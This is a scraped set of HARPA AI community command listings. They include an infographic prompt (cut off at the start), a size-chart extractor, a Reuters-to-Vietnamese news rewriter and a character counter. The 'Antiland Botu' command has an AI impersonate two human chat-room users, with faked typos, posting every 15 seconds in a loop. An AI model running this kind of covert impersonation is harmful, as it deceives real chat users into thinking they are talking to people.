representação concreta, priorizar imagens realistas. Usar aparência fotográfica, render editorial realista, textura real, luz realista, objetos reconhecíveis, ambientes críveis, produtos, prédios, máquinas, cidades, lavouras, fábricas, usinas, data centers, foguetes e equipamentos com aparência profissional. Evitar ao máximo clipart, cartoon, ilustração genérica, desenho simplificado, rosto artificial, cidade sci-fi genérica, reator inventado, fábrica inventada, laboratório inventado ou produto inventado. IMAGENS EM DESENHO Eliminar ao máximo imagens com aparência de desenho, cartoon, clipart, ilustração infantil ou arte genérica. Usar desenho apenas quando for inevitável para representar conceito abstrato, e mesmo assim com acabamento editorial adulto e sofisticado. REGRA DE PESSOAS — SÓ REPRESENTAR QUEM FAZ PARTE DA TESE Não representar automaticamente a pessoa que escreveu o tweet, post, e-mail, newsletter, artigo ou roteiro. Autor, perfil, canal ou fonte só deve aparecer como pessoa no infográfico se ele próprio fizer parte do conteúdo, da tese ou da narrativa central. Se o autor apenas publicou, comentou, compartilhou ou explicou o conteúdo, não colocar seu rosto no infográfico. Quando o conteúdo citar uma pessoa específica e nomeada que realmente faça parte da tese, não usar retrato inventado. Só usar retrato se houver alta confiança visual de que ele será coerente com a pessoa citada. Se não houver confiança suficiente, não inventar rosto. Usar silhueta neutra, avatar editorial simples, nome em destaque, objeto associado, ambiente associado ou composição sem retrato. É melhor não mostrar uma pessoa do que mostrar uma pessoa errada. Retrato decorativo de pessoa nomeada é proibido. REGRA DE EMPRESAS — TICKER + LOGO/SÍMBOLO Quando o conteúdo citar empresa específica, representar a empresa de forma útil, reconhecível e fiel. Sempre que possível, incluir: - nome da empresa; - ticker; - logotipo ou símbolo visual real; - função daquela empresa dentro da tese. Exemplos: - SpaceX → nome + símbolo visual reconhecível, se relevante; - Tesla → TSLA + símbolo/logotipo; - Nvidia → NVDA + símbolo/logotipo; - Amazon → AMZN + símbolo/logotipo; - Microsoft → MSFT + símbolo/logotipo; - Palantir → PLTR + símbolo/logotipo. Se o ticker não estiver no material fornecido ou não houver segurança, não inventar. Usar apenas nome e símbolo se forem confiáveis. Quando houver múltiplas empresas, elas não devem virar cards. Cada empresa deve aparecer como desdobramento orgânico da arte-mãe, com ticker e logo/símbolo quando confiáveis. FIDELIDADE VISUAL DE EMPRESAS, ATIVOS E PRODUTOS Quando o conteúdo citar empresa específica, não inventar ativo, sede, fábrica, produto, laboratório, reator, foguete, chip, equipamento ou instalação como se fosse real. Priorizar logotipo real, símbolo reconhecível, produto real se conhecido, instalação real se conhecida, contexto operacional real, imagem setorial neutra quando não houver certeza ou composição editorial conceitual quando o ativo específico não for confiável. Se não houver segurança de que a imagem representa algo real da empresa, usar uma solução neutra e honesta. Nunca sugerir visualmente que um ativo inventado pertence à empresa. USO DE MARCAS, BANDEIRAS E ELEMENTOS REAIS Quando o conteúdo citar empresa, país, pessoa, produto, ativo, tecnologia ou instituição, usar elementos reconhecíveis e úteis sempre que possível. Empresa → ticker + logotipo ou símbolo real. País → bandeira. Pessoa → apenas se fizer parte da tese; retrato fiel ou alternativa neutra. Produto → produto real se houver confiança. Setor → imagem realista do setor. O objetivo é aumentar utilidade, reconhecimento e credibilidade visual. ESTILO EDITORIAL A peça deve se aproximar de capa de revista premium, reportagem visual especial, opening spread editorial, mural informativo de alto padrão, arte conceitual informativa e direção de arte humana. A peça não deve se aproximar de dashboard, PowerPoint, planilha ilustrada, template de IA, catálogo de boxes, mapa mental básico ou interface gamer. ALINHAMENTO COM O ÁUDIO O infográfico deve seguir a mesma lógica do RESUMO FINAL PARA ÁUDIO. A pessoa deve conseguir ouvir o áudio e localizar visualmente: 1. tese central; 2. desdobramentos; 3. riscos; 4. monitoramento; 5. síntese. A arte-mãe central deve ajudar a pessoa a entender onde tudo se encaixa. MODELO MÉDIO — DENSIDADE Este é o modelo médio. Ele deve ser visual, analítico, mais completo que o curto, com melhor desenvolvimento de mecanismos, relações, riscos e monitoramento, sem virar modelo longo, fiel à tese e aos principais desdobramentos. O modelo médio deve permitir tese central, contexto, mecanismo, empresas, ativos e tickers relevantes, relações entre agentes, riscos centrais, catalisadores, monitoramento, síntese e implicação prática. A profundidade deve aparecer por composição visual, relações e hierarquia, não por texto pequeno. AUDITORIA FINAL OBRIGATÓRIA Antes de entregar, revisar internamente. REPROVAR E REFAZER SE HOUVER: - fundo preto ou quase preto; - neon dominante; - glow exagerado; - imagem em desenho quando era possível usar realismo; - falta de margem em qualquer borda; - qualquer elemento encostando na borda; - @Fredericoza fora da margem inferior; - @Fredericoza fora do centro; - @Fredericoza com estilo diferente do padrão; - uso de URL no rodapé; - texto menor que referência visual de 12 pt; - microtexto; - texto ilegível; - resolução baixa; - aparência pixelada ou craquelada; - arte-mãe central fraca ou inexistente; - conteúdo não derivando da arte-mãe; - cards dominando a composição; - caixas ou blocos dominando a composição; - empresas sem ticker quando o ticker for conhecido; - empresas sem logotipo/símbolo quando isso for possível; - empresas em vitrines retangulares; - autor/fonte representado como pessoa sem fazer parte da tese; - retrato inventado de pessoa nomeada; - ativo inventado de empresa específica; - parte inferior comprimida; - falta de criatividade nos desdobramentos; - erro de português; - palavra truncada; - aparência de template de IA. CHECKLIST DE MARGEM E RODAPÉ Verificar: - há margem superior? - há margem inferior? - há margem esquerda? - há margem direita? - nada encosta na borda? - o @Fredericoza está dentro da margem inferior? - o @Fredericoza está centralizado? - o rodapé está limpo e padronizado? CHECKLIST DE PALETA Verificar: - o fundo está em grafite médio/editorial? - o fundo não parece preto? - o fundo não parece quase preto? - não há neon dominante? - as cores são vivas, sólidas e maduras? CHECKLIST DE LEGIBILIDADE Verificar: - todo texto informativo parece equivalente a 12 pt ou maior? - títulos estão grandes? - números importantes estão grandes? - nada exige zoom excessivo? - o canvas foi ampliado se necessário? CHECKLIST DE CRIATIVIDADE Verificar: - existe arte-mãe central forte? - 100% dos assuntos derivam dela? - os desdobramentos são visuais e criativos? - não há cards dominantes? - a peça parece editorial, e não dashboard? CHECKLIST DE PESSOAS Verificar: - alguma pessoa foi colocada apenas por ser autora/fonte? - a pessoa representada faz parte da tese? - o retrato é fiel? - se não houver fidelidade, foi usada solução neutra? CHECKLIST DE EMPRESAS Verificar: - empresas relevantes têm nome? - empresas relevantes têm ticker quando conhecido? - empresas relevantes têm logotipo/símbolo quando possível? - alguma empresa foi representada com ativo inventado? ENTREGA FINAL Entregar somente a imagem final. Não explicar. Não listar etapas. Não entregar briefing. Não entregar texto fora da imagem. RESUMO FINAL PARA ÁUDIO {{audio_summary}} BASE EDITORIAL DE APOIO INTERNO {{coverage_contract}} silent: false param: gpt Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | extract-size-chart [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  extract-size-chart ====================== Updated on **Feb 4, 05:56** Installed **1 time** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: ask param: department message: Please provide Department (e.g mens, womens, boys, girls etc) options: null default: '' vision: enabled: false mode: area hint: '' send: true - type: ask param: category message: Please provide Category (e.g tops, bottoms, shoes etc) options: null default: '' vision: enabled: false mode: area hint: '' send: true - type: ask param: additionalPrompt message: Do you want to add additional prompts options: null default: '' vision: enabled: false mode: area hint: '' send: true - type: gpt prompt: >- Role: You are a highly precise Data Engineering Assistant specializing in e-commerce schema mapping. Task: Extract and normalize size chart data from the current view of the webpage into a strictly validated JSON format. Strict Normalization Rules: * Measurement Conversion: All numeric values must be in centimeters (cm). If the source is in inches, multiply by 2.54. * Size Region: Must be one of: ['us', 'uk', 'eu', 'de', 'fr', 'it', 'jp',\ 'cn', 'in', 'au', 'mx']. Default to us. * POM (Point of Measure): Map all headers to exactly one of: ['waist',\ 'chest', 'bust', 'hip', 'thigh', 'sleeveLength', 'neck', 'length', 'height',\ 'highHip', 'lowHip', 'inseam', 'underBust', 'footLength', 'footWidth',\ 'ankleGirth', 'calfWidth']. * **SellingVariantDimension** (JSON object): Key = "sizeType", Value should be one of: ['regular', 'petite', 'tall', 'plus', 'bigandtall']. Default to `{"sizeType": "regular"}` if unspecified. Use double quotes for the string value (e.g., `{"sizeType": "petite"}`). * Hierarchy Labels: Use a semicolon (;) as the internal separator to ensure CSV safety. Example: ["mens"; "bottoms"; "jeans"]. * Selling Size: Maintain precision. '0', '00', and '000' are unique. Convert mixed fractions to decimals (e.g., 30 1/2 to 30.5). * {{additionalPrompt}} * Data Structure Per Entry: Produce a JSON array where each object represents one measurement for one size: ```json { "storeKey": "tfc", "storeStyle": "", "brand": "Extract from page in smallcase", "department": "{{department}}", "category": "{{category}}", "sellingSize": "Quote exact value", "sellingVariantDimensions": {"sizeType": "regular"}, "hierarchyLabels": ["{{department}}", "{{category}}"], "uiLocale": "", "sizeRegion": "size region value", "source": "LEGACY_SIZE_CHART", "pom": "normalized_camelCase_value", "generalMeasurement": null, "low": float_value_in_cm, "high": float_value_in_cm, "needsReview": false, "reviewReason": null, "sourceUrl": "should be the current web page URL", "uom": "cm", "lastUpdated": "2026-01-30 18:00:00.000" } ``` Constraint: Return ONLY the JSON array. Do not include conversational text, markdown explanations, or apologies. If a measurement is a single number, set both low and high to that value. silent: false param: '' Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Antiland Botu [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  Antiland Botu ================= Created by **once human** Updated on **Jan 29, 21:42** Installed **2 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- Şu andan itibaren Antiland sohbet odasında takılan iki farklı kişi (Ali ve Can) gibi davranacaksın. Kendi içinde doğal, samimi ve akıcı bir diyalog kur. Her çalıştığında bu diyalogdan sıradaki SADECE BİR cümleyi seç ve yaz. Cümleleri sanki bir insan telefonundan yazıyormuş gibi bazen küçük harf hatalarıyla (örneğin: 'geliyorum' yerine 'gelyorum', 'naber' yerine 'nbr') ve samimi bir dille hazırla. Konular: Havadan sudan, can sıkıntısından, popüler oyunlardan veya 'Buralar neden bu kadar sessiz?' gibi oda durumlarından olsun. Mesajın içine asla 'Ali:' veya 'Can:' gibi isim etiketleri koyma, sadece konuşma metnini yaz. param: '' - type: paste text: '' mode: insert selectorType: ai lastKey: Enter selector: - $matches: - $tag: DIV - $class: text - $class: form-control - $attribute: _ngcontent-ng-c1779156507 - $attribute: contenteditable=true - $style: Lato:12.75px:400:normal - $class: controls-wrap traverse: '2' - $class: with-photo traverse: '2' - $class: controls traverse: '0:2' - $class: message-area traverse: '2:0:2' - $class: wrap traverse: '1:2:0:2' - $anchor: putabbbbbb biatch shift: '-62:55' - $text: putabbbbbb biatch traverse: '-5:2:0:2' - $anchor: Gotta be careful not sext w a bot biatch shift: '-62:164' - $text: Gotta be careful not sext w a bot biatch traverse: '-5:2:0:2' - $anchor: '!' shift: '82:216' - $text: '!' traverse: '-7:1:2:0:2' min: 6 - $size: 1 item: type: element container: __$ht: element id: 0 value: Element - type: wait for: 15s - type: jump to: '0' Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | R. news Reuters #2 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  R. news Reuters #2 ====================== Created by **DUC NGHIEM** Updated on **Aug 23, 12:26** Installed **1 time** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: extract selector: - $matches: - $tag: DIV - $class: scrollable - $style: Roboto:16px:400:normal - $class: story-body traverse: '1' - $class: story-details traverse: '3:1' - $class: grid-container traverse: '3:1' - $class: details-wrapper traverse: '2:3:1' - $class: expansion traverse: '0:2:3:1' - $anchor: No Restrictions shift: '-81:124' - $text: No Restrictions traverse: '-2:3:1' - $anchor: Script Copyright Notice shift: 0:-449 - $text: Script Copyright Notice traverse: '-3:3:1' - $anchor: Video Copyright Notice shift: 0:-477 - $text: Video Copyright Notice traverse: '-3:3:1' min: 6 - $size: 1 item: type: element value: >- VIDEO SHOWS: BROLL OF PENTHOUSE; INTERVIEW WITH HOTEL GENERAL MANAGER SHOWS: NEW YORK, NEW YORK, UNITED STATES (JUNE 3, 2026) (REUTERS – Access all) 1. PENTHOUSE LIVING ROOM AT THE MARK HOTEL 2. FOYER 3. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “Welcome to the duplex penthouse at The Mark, the most lavish, exclusive penthouse in New York, if not America.” 4. SECOND LIVING ROOM 5. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “So this is a study. So once you pass the piano, maybe play some tunes. We come to the study. So if you have to take some calls, but no work. This is where you'll meet with the butler and go through your day's activity with our concierge, our guest relations department. So all those activities can be done here, and the privacy of here. So we can shut all the doors here. So if someone's playing games or playing the piano someone can then work here. And this room is our dining room. So this is where all the culinary activities take place. We can have a private chef up here.” 6. DINNING ROOM 7. VARIOUS OF KITCHEN 8. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “Well, we're doing it for someone that wants the best of the best. There's a lot of anxiety about the World Cup. We want to take all that away. We wanted to have a package that is flawless.” 9. STAIRCASE 10. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “We don't refer the penthouse really to a suite. It's the only five-bedroom penthouse in New York City. It's really an extension of your own home. So it's really a townhouse on top of this iconic hotel.” 11. GAME TABLE 12. PIANO 12. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “So from the moment you arrive, I mean, it's really the meet and greet. We have a limousine and a chauffeur on call 24-7. You'll be greeted by your own butler and a team that will be with you the whole entire time, the four days. And that's 24- 7.” 13. SMALL BEDROOM 14. SECOND PRIMARY BATHROOM, BEDROOM, WINDOW VIEW 15. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “So you won't have a single piece of anxiety while you're staying with us, which includes helicopter rides, so helicopter to the stadium and back, with pick-up obviously transportation. For those that don't particularly think, oh maybe not a helicopter on this particular occasion, weather permitting, of course we'll have limousine service there.” 16. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “So one of the other great features of this magnificent suite is a private gym. You're here for four days, we want you to be healthy. Created with the best menus, juices. So this way you can come in, have your morning workouts, and finish with best massage in New York City.” 17. VARIOUS OF GYM 18. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “You will have the best access to the stadium for the game. Expedited access, six tickets included, six tickets on the field at the halfway line. You will also have your own private lounge. So, you will have whatever you want in that lounge, the best of the best, the best food, wines, and champagne.” 19. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “So this is into the suite. It has two full bathrooms. Obviously, his and hers in her dressing room. You can see again, magnificent, bright, light room, it's a suite en suite. So it has its own fireplace, you can see here, which actually looks straight through. Go to the other side, we have a living room, and you've got to see the bathroom. The bathroom, when you need to relax in that soaking tub, you must come and see this. So you can relax after a strenuous day or in the morning and look at the bright light and the sunshine that is here for you.” 20. BATH TUB 21. VARIOUS OF BED ROOM 22. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “On the internal staircase, up to the sun lounge, the roof deck, the plunge pool, after massage, the gym, enjoy all the activities in this incredible outdoor space.” 23. KENCHINGTON WALKING ON TO PATIO 24. VIEW FROM PATIO 25. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “So at the penthouse, here at The Mark, this is going to be for the service from Caviar Kaspia and so we will set it up depending on the wishes of the guests. You can have this bar set up here, Caviar stations here, there'll be on-site butler and staff for them throughout the stay, the duration, the timing, wherever they are on this rooftop, whatever wish they have, we will make sure is achieved.” 26. MORE OF KENCHINGTON ON PATIO 27. VARIOUS OF PATIO 28. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “And coming down from the rooftop in your own private elevator back to the main section of the suite.” 29. (SOUNDBITE) (English) MANAGING DIRECTOR AND GENERAL MANAGER ELON KENCHINGTON SAYING: “Yes, actually we're getting a lot of traction, a lot of attention. We did have someone that wanted to do the two nights stay. We are sticking to the one million dollars that we set. Four nights, whether you can come on the (July) 16th or after the 19th. The main thing is the 19th is the day that we're all going to celebrate. Let's see who wins. I predict maybe France, England 3-1 in the final. But the U.S., let's see where they end up, so maybe U. S. England.” NEW YORK, NEW YORK, UNITED STATES (JUNE 8, 2026) (REUTERS – Access all) 30. EXTERIOR OF PELE STORE IN TIMES SQUARE 31. (SOUNDBITE) (English) SOCCER FAN LUKAS CHAVEZ SAYING: “Definitely if I have the opportunity, have the, economically speaking, the ability to do so, I would consider it for sure. A final game, every four years is a different final, and if the package includes all that, four days, four nights, six tickets, the final of the World Cup, one of the biggest games in the whole sport industry, I think it would be worth it for sure.” 32. (SOUNDBITE) (English) SOCCER FAN BARRY LOUGE SAYING: “I am going to go to a game or two, but I'm going to be a little bit wiser. I don't know if I need to be in Manhattan, top of the penthouse, butler. If I could be chauffeur, get to the game, I’d deal with that.” 33. (SOUNDBITE) (English) SOCCER FAN DIEGO CHAVEZ SAYING: “I think at first glance it kind of intimidating but take into consideration, you're in New York City, World Cup final, massive tournament that's happening, a upper east side, kind of like living the luxury. It is a once-in-a-lifetime opportunity. So, you know, if I had the means, I definitely would do it.” 34. LOBBY OF HOTEL 35. VARIOUS EXTERIORS OF HOTEL STORY: New York City's The Mark Hotel is helping World Cup fans enjoy the final game in a relaxing, luxurious way—if you have $1 million. "We're doing it for someone who wants the best of the best. There's a lot of anxiety about the World Cup. We want to take all that away. We wanted to have a package that is flawless," said Elon Kenchington, managing director and general manager of The Mark Hotel. The World Cup 2026 Extravaganza Package will provide what the hotel calls the best access to the stadium for the game, including a helicopter ride from New York to New Jersey. "Six tickets included, six tickets on the field at the halfway line. You will also have your own private lounge. So, you will have whatever you want in that lounge—the best of the best, the best food, wines, and champagne," Kenchington explained. The four-night package is scheduled around the final game on July 19 and also includes 24/7 butler, masseuse, and concierge service, plus two additional guest rooms for personal staff and a private sail on the Hudson River, passing the Statue of Liberty. For moments inside the room, the hotel will set up gaming tables and oversized screens broadcasting every match, along with a special meal from the venue's restaurant on the private rooftop. "This is going to be for the service from Caviar Kaspia, and we will set it up depending on the wishes of the guests. You can have this bar set up here, caviar stations here. There will be on-site butler and staff for them throughout the stay, for the duration, at any time—wherever they are on this rooftop, whatever wish they have, we will make sure it is achieved." Soccer fans in Times Square were divided on whether it was a good deal. “I think at first glance it kind of intimidating but take into consideration, you're in New York City, World Cup final, massive tournament that's happening, a upper east side, kind of like living the luxury. It is a one in a lifetime opportunity. So, you know, if I had the means, I definitely would do it,” said Diego Chavez of Queens, New York. “I am going to go to a game or two, but I'm going to be a little bit wiser. I don't know if I need to be in Manhattan, top of the penthouse, butler. If I could be chauffeur, get to the game, I’d deal with that,” said Barry Louge of Boston, Massachusetts. The World Cup begins on June 11, with the final game scheduled for July 19 in New Jersey. (Production: Andrew Hofstetter, Alicia Powell) container: __$ht: element id: 3 param: story selectorType: ai default: '' silent: true - selector: - $matches: - $tag: H1 - $role: heading - $style: Roboto:17.6px:500:normal - $content: ISRAEL-PALESTINIANS/GAZA-JORDAN AIRDROP - $class: headline-slug traverse: '0' - traverse: '0:0' $class: story-details - $class: grid-container traverse: '0:0' - traverse: '2:0:0' $class: details-wrapper - traverse: '0:2:0:0' $class: expansion - $anchor: Jordanian army drops aid to Gaza shift: 0:-29 - traverse: '-1:0' $text: Jordanian army drops aid to Gaza - $anchor: Preview shift: '8:216' - traverse: '-1:14:0:2:0:0' $text: Preview - $anchor: Add events to Playlist or press Play Now button in Live page shift: '248:14' - traverse: '-8:1:1:3:14:0:2:0:0' $text: Add events to Playlist or press Play Now button in Live page min: 4 - $size: 1 item: container: id: 171 __$ht: element type: element value: ISRAEL-PALESTINIANS/GAZA-JORDAN AIRDROP param: slug type: extract selectorType: ai default: '' silent: true - selector: - $matches: - $tag: DD - $role: definition - $style: Roboto:14.4px:400:normal - $content: '{{data}}' - $class: column-right traverse: '0:3' - traverse: '2:0:3' $class: story-details - $class: grid-container traverse: '2:0:3' - traverse: '2:2:0:3' $class: details-wrapper - traverse: '0:2:2:0:3' $class: expansion - $anchor: 6092WD shift: '0:29' - traverse: '-2:3' $text: 6092WD - $anchor: World shift: 0:-29 - $text: World traverse: '-2:3' - $anchor: Next shift: 26:-217 - traverse: '-2:3:14:0:2:2:0:3' $text: Next min: 5 - $size: 1 item: value: '6092' container: id: 185 __$ht: element type: element param: ID type: extract selectorType: ai default: '' silent: true - prompt: >- **1. PERSONA:** As a seasoned journalist, your task is to structure an article on {{story}}. The article should be well-researched, factual, and engaging to a diverse readership. Start with an attention-grabbing introduction that provides context and piques the reader's interest. Organize the content into coherent sections, each with a clear focus, and use compelling headlines for each section. Incorporate quotes from reputable sources, and provide in-depth analysis and perspectives on the topic. Conclude the article with a thought-provoking summary that encourages further reflection or action. Ensure the article adheres to journalistic ethics and standards, and is suitable for publication in a respected news outlet. **2. TASK:** Based on the provided {{story}}, draft a complete news report in Vietnamese. **3. INPUT DATA:** * {{story}}: This is a collection of raw facts, figures, and quotes about an event. This data may be provided as bullet points or an unedited block of text. * {{slug}}: A short, unaccented character string used for the article's URL. * {{ID}}: The unique identifier for the article. * SOUNDBITE: a collection of interview transcipts with number in the video shot-list, Name, Title of the interviewee **4. DETAILED RULES AND GUIDELINES:** * **Language:** The entire output must be written in Vietnamese. * **5W1H Methodology:** Strictly adhere to the 5W1H journalistic framework (Who, What, When, Where, Why, How) to ensure the report is comprehensive and answers the reader's core questions. * **Journalistic Ethics and Objectivity:** * Present the event in the third person from a neutral perspective. * **ABSOLUTELY DO NOT** include personal commentary, opinions, speculation, or any information not provided in the {{story}}. * **Mandatory Attribution:** Always attribute the source of information, unless it is common knowledge. For example: "...police said," or "...according to a statement from the Ministry of Foreign Affairs." This is crucial for information verification. * **Journalistic Style:** * **Use Active Voice:** Write sentences where the subject clearly performs the action. * **Use Strong, Descriptive Verbs:** Avoid abstract nouns. Precise and powerful verbs make the writing more assertive and vivid. * **Writing style:** Rewrite this content in the style of a knowledgeable friend explaining it over lunch. Maintain all the important educational information but make it much more conversational. When writing this text, don't use overly promotional words like "game-changing," "unlock," "master," "skyrocket," or "revolutionize.". Use a calm and measured tone without going overboard or overpromising. Don't use jargon, keep the content approachable. * **Word Conventions:** If specific naming conventions are provided in the context (e.g., using a specific term for a country or organization), adhere to them strictly for consistency. * **News Report Structure:** * **Headline:** Must be accurate, clear, and easy to understand, using keywords from the story. Use short, active verbs. The headline should be attention-grabbing but not sensationalist or misleading. * **Lead Paragraph:** One or two sentences only. It must summarize the most critical information of the event (concisely answering the 5Ws and H), including the specific date and location if available. Get straight to the point; do not be verbose. * **Body Paragraphs:** 1 to 5 paragraphs that detail the event. Each paragraph should explore deeper facets of the story, providing additional context and related details based on the provided data. **5. WORD OF CHOICE LIST:** - Must always respect word of choice following this list: America: "Mỹ" North Korea: "Triều Tiên" Australia: "Australia" (không sửa thành Úc) Taiwan: "Đài Loan (Trung Quốc)" Taiwan President: "Lãnh đạo Đài Loan" **6. OUTPUT FORMAT:** - Must respect date format : "day/month" - Present the complete article in the exact following structure: ``` {{slug}} {{ID}} MINH ĐỨC [Main Headline of the Article] [Lead Paragraph here] [Body Paragraphs here] [All SOUNDBITE Translations] ``` SOUNDBITE Translations must be in bold italic and follow this format ``` "PB"-number of the SOUNDBITE "Name" "Title of the interviewee" Example: PB1 NAIM KASSEM LÃNH ĐẠO NHÓM HEZBOLLAH “Chúng tôi chỉ quan tâm đến một lệnh ngừng bắn toàn diện, không chia cắt miền Nam và phần còn lại, và Israel rút lui khỏi Liban. Chừng nào Israel còn chiếm đóng, kháng chiến vẫn sẽ tiếp tục.” ``` type: gpt condition: '' Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Character counter [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🔤  Character counter ===================== Calculates the number of characters in the provided string of text. ------------------------------------------------------------------- Created by **Whitney Bacon** Updated on **Mar 6, 2025 20:24** Installed **7 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: prefill message: 'How many characters are in the following phrase: ' interpolate: false Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Quick WooCommerce 